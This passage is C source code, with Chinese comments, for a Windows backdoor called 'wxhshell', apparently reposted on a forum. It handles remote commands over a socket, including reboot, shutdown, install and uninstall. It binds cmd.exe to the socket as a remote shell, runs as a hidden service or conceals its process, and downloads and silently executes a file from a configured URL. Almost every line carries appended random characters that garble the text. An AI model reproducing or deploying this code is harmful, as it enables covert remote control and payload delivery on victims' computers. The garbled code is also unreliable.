  H Yt& MK  
  // 帮助 p6u"$)wt  
  case '?': { Tq[=&J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9{\e E]0  
    break; vQ"EI1=7Z  
  } %4?  
  // 安装 `!Ei H<H}  
  case 'i': { pJ-/"Q|:i  
    if(Install()) z(L\I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [xq"[*Evv  
    else &(3kwdI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >7. $=y8b  
    break; )MqF~[k<-  
    } B]~#+rMK  
  // 卸载 ?kvkkycI   
  case 'r': { #R v&b@K  
    if(Uninstall()) R4v)}`x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +[M5x[[$  
    else ;|&Ak_I2G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _!6~o>  
    break; OnFx8r:q@%  
    } V}(snG,  
  // 显示 wxhshell 所在路径 |uVhfD=NG  
  case 'p': { !4 `any  
    char svExeFile[MAX_PATH]; iHhoNv`MR  
    strcpy(svExeFile,"\n\r"); [4B.;MS(  
      strcat(svExeFile,ExeFile); "?a(JC  
        send(wsh,svExeFile,strlen(svExeFile),0); Rdao  
    break; LyRto  
    } ?LAKH$t  
  // 重启 7bOL,S  
  case 'b': { ;hU56lfZ)X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bv ,_7UOG  
    if(Boot(REBOOT)) ?<VahDBS+A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~]8bTw@  
    else { nV'~uu  
    closesocket(wsh); tgEXX-{  
    ExitThread(0); -_BS!T%r  
    } .PBma/w W  
    break;  pv1J6  
    } xo/[,rR  
  // 关机 qV0C2jZ2  
  case 'd': { 1"{3v@yi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _D7MJT  
    if(Boot(SHUTDOWN)) ~jMdM~}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wZN<Og+;  
    else { 2ijw g~_@  
    closesocket(wsh); !/O c)Yk  
    ExitThread(0); qYZ\< h^  
    } j;@7V4'  
    break; c-8Pc ]+g  
    } !m(5N4:vV  
  // 获取shell S?*pCJ0  
  case 's': { i)=!U>B_0  
    CmdShell(wsh); | W:JI  
    closesocket(wsh); fdP[{.$?(  
    ExitThread(0); C=2"*>lTn  
    break; wQiRj.  
  } Z[:fqvXQ  
  // 退出 v{9< ATi  
  case 'x': { M?pu7wa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xb$eFiQ  
    CloseIt(wsh); +V*FFv  
    break; Q)x`'[3"7W  
    } ^pA|ubZ  
  // 离开 ;(M`Wy]2  
  case 'q': { Z|+SC \Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `vWFTv  
    closesocket(wsh); xq1 =O  
    WSACleanup(); "2:]9j  
    exit(1); =B O} hk  
    break; p|VoIQY  
        } >i=^Mh-bm  
  } oyV@BHJO@  
  } +` g&J  
Z7?C^m  
  // 提示信息 }.w@. S"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q- 78B'!=  
} ukBj@.~  
  } e(E6 t_  
<EKDP>,~  
  return; >!:uVS  
} +FiM?,G  
/N(L52mz  
// shell模块句柄 ZZqImB.Cz6  
int CmdShell(SOCKET sock) )u~LzE]{_  
{ ]l.y/pRP5[  
STARTUPINFO si; GGHe{l  
ZeroMemory(&si,sizeof(si)); n)$T zND  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ) 9h5a+Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J8w#J  
PROCESS_INFORMATION ProcessInfo; KZ^W@*`D  
char cmdline[]="cmd"; Qe<D X"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V4p4m@z^u  
  return 0; T. nY>Q8  
} {X$8yy2zC5  
!X721lNP  
// 自身启动模式 .z7%74p  
int StartFromService(void) Kj;gxYD>6  
{ HH/ bBM!  
typedef struct z;`o>Ja2  
{ {~7V A  
  DWORD ExitStatus; xFcJyjo^z  
  DWORD PebBaseAddress; vB >7W  
  DWORD AffinityMask; i_8q!CL@{  
  DWORD BasePriority; 7+';&2M)n~  
  ULONG UniqueProcessId; c0M=T  
  ULONG InheritedFromUniqueProcessId; afY~Y?PJ<  
}   PROCESS_BASIC_INFORMATION; sE7!U|  
'P(S*sr  
PROCNTQSIP NtQueryInformationProcess; 6c-y<J+&s  
j]i:~9xKW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tEP~`$9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;QbMVY  
h;105$E1  
  HANDLE             hProcess; o#Q0J17i?  
  PROCESS_BASIC_INFORMATION pbi; >]uV  
|~vo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1?s]nU  
  if(NULL == hInst ) return 0; :X7"fX  
D> wq4u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t~m >\(&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V"=(I'X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G/T oiUY  
mEsOYIu{  
  if (!NtQueryInformationProcess) return 0; Nb/W+& y  
f,{O%*PUA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h ,;f6  
  if(!hProcess) return 0; >g8H  
D.?Rc'y D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9C[i#+_3M  
luD.3&0n  
  CloseHandle(hProcess); W.b?MPy]  
b,U"N-6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ./nq*4=  
if(hProcess==NULL) return 0; QV/ o;  
%7WQb]y  
HMODULE hMod; }nNZp  
char procName[255]; Kp[ F@A#  
unsigned long cbNeeded; Ul#||B .c{  
@C7if lo6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ht _fbh(l  
P)bS ;w\(Y  
  CloseHandle(hProcess); f4Aevh:  
uN1(l}z$  
if(strstr(procName,"services")) return 1; // 以服务启动 OrN>4S  
(}1 gO  
  return 0; // 注册表启动 \]pRu"  
}  ;ew j  
Yg_;Eu0'?  
// 主模块 tNf?pV77  
int StartWxhshell(LPSTR lpCmdLine) P9(]9np,,  
{ L|hsGm\  
  SOCKET wsl; c\.Hs9T >  
BOOL val=TRUE; T;/Y/Fd  
  int port=0; YU! SdT$  
  struct sockaddr_in door; ZZ/F}9!=  
<n+?7`d,  
  if(wscfg.ws_autoins) Install(); )Zx;Z[  
#P[d?pY  
port=atoi(lpCmdLine); O_@  
~"-+BG(5  
if(port<=0) port=wscfg.ws_port; > cFH=um  
os/_ObPiX  
  WSADATA data; yhF{ cK =  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yu8xTh$:  
k@QU<cvI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V 2-fJ!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hrb67a%b  
  door.sin_family = AF_INET; LRNgpjE}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &|rh~;:jUX  
  door.sin_port = htons(port); *7MTq_K(An  
  -58  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Wp!#OY1?  
closesocket(wsl); Bn>"lDf,  
return 1; nff X  
} Kgev*xg  
]ADj 9  
  if(listen(wsl,2) == INVALID_SOCKET) { Y![m'q}K  
closesocket(wsl); d8l T+MS=  
return 1; r)S tp`p  
} #NU;$ &  
  Wxhshell(wsl); @wa2Z  
  WSACleanup(); ]P lD e8  
,khB*h14;h  
return 0; %mLQ'$  
bvVEV  
} -"m4 A0  
l)@Zuh  
// 以NT服务方式启动 alu3CE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q4;eN w  
{ r3.A!*!  
DWORD   status = 0; 2flgfB}2k  
  DWORD   specificError = 0xfffffff; )3h%2C1uM  
b|7c]l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~loJYq'y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5\hJ&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JIeKp7;^  
  serviceStatus.dwWin32ExitCode     = 0; Aj| Gqw>  
  serviceStatus.dwServiceSpecificExitCode = 0; e)Q{yO  
  serviceStatus.dwCheckPoint       = 0; cBxBIC  
  serviceStatus.dwWaitHint       = 0; /]pBcb|<  
.Pz( 0Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .Z[Bz7  
  if (hServiceStatusHandle==0) return; px`o.%`'  
6|# +  
status = GetLastError(); f+*wDH  
  if (status!=NO_ERROR) ){ywk  
{ $nX4!X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SRL`!  
    serviceStatus.dwCheckPoint       = 0; sfLH[Q?  
    serviceStatus.dwWaitHint       = 0; 0#K?SuY.eN  
    serviceStatus.dwWin32ExitCode     = status; ;%u'w;sgq  
    serviceStatus.dwServiceSpecificExitCode = specificError; Dw\)!,,i7U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y_aKW4L+  
    return;  U~%V;*|4  
  } BK,h$z7#6  
i:8g3|JfMe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n.}A :Z  
  serviceStatus.dwCheckPoint       = 0; {R`,iWV  
  serviceStatus.dwWaitHint       = 0; RPH]@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ps<6kQ(  
} !Db 0r/_:G  
^;on  
// 处理NT服务事件,比如:启动、停止 rgth2y]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Iud]*5W  
{ : z=C   
switch(fdwControl) ^Rgm3?7  
{ a(|YLN  
case SERVICE_CONTROL_STOP: ^Kvbpi,  
  serviceStatus.dwWin32ExitCode = 0; Dm=d   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SkGh@\  
  serviceStatus.dwCheckPoint   = 0; =_(i#}"A  
  serviceStatus.dwWaitHint     = 0; Y8*k18~  
  { Rg4'9I%B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .23z\M8 -  
  } oH;0_!  
  return; o: \&4z&=  
case SERVICE_CONTROL_PAUSE: ohI>\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WD"3W)!  
  break; uU_0t;oR3  
case SERVICE_CONTROL_CONTINUE: l| / tKW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y^M ~zOe  
  break; qs$%/  
case SERVICE_CONTROL_INTERROGATE: < 0S+[7S"  
  break; jt({@;sU[<  
}; Z0fl]3p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K|"97{*|2  
} f>g< :.k*  
f-Yp`lnn.d  
// 标准应用程序主函数 Oy U[(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BU\P5uB!V  
{ >.P/fnvJ  
kpxWi=y  
// 获取操作系统版本 *k&yD3br-V  
OsIsNt=GetOsVer(); {Q/XV=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z]P =>w  
(X!?#)fyn  
  // 从命令行安装  C~C}b  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]QB<N|ps  
cmw2EHTT<  
  // 下载执行文件 VBHDI{HzRv  
if(wscfg.ws_downexe) { v%mAU3M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ze%kP#c6!  
  WinExec(wscfg.ws_filenam,SW_HIDE); `RRC8]l  
} RTHe#`t  
%Se@8d8  
if(!OsIsNt) { 6fP"I_c  
// 如果时win9x,隐藏进程并且设置为注册表启动 (%\vp**F  
HideProc(); wUnz D)  
StartWxhshell(lpCmdLine); SONv] ));  
} \ C^fi}/]  
else n|G x29 E  
  if(StartFromService()) }3G`f> s  
  // 以服务方式启动 /h/f&3'h  
  StartServiceCtrlDispatcher(DispatchTable); +`;YK7o  
else bnso+cA  
  // 普通方式启动 W(5et5DN,  
  StartWxhshell(lpCmdLine); `# N j8  
tbx* }uy2  
return 0; ^h q?E2-  
}
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只看该作者 1 发表于: 2006-10-10
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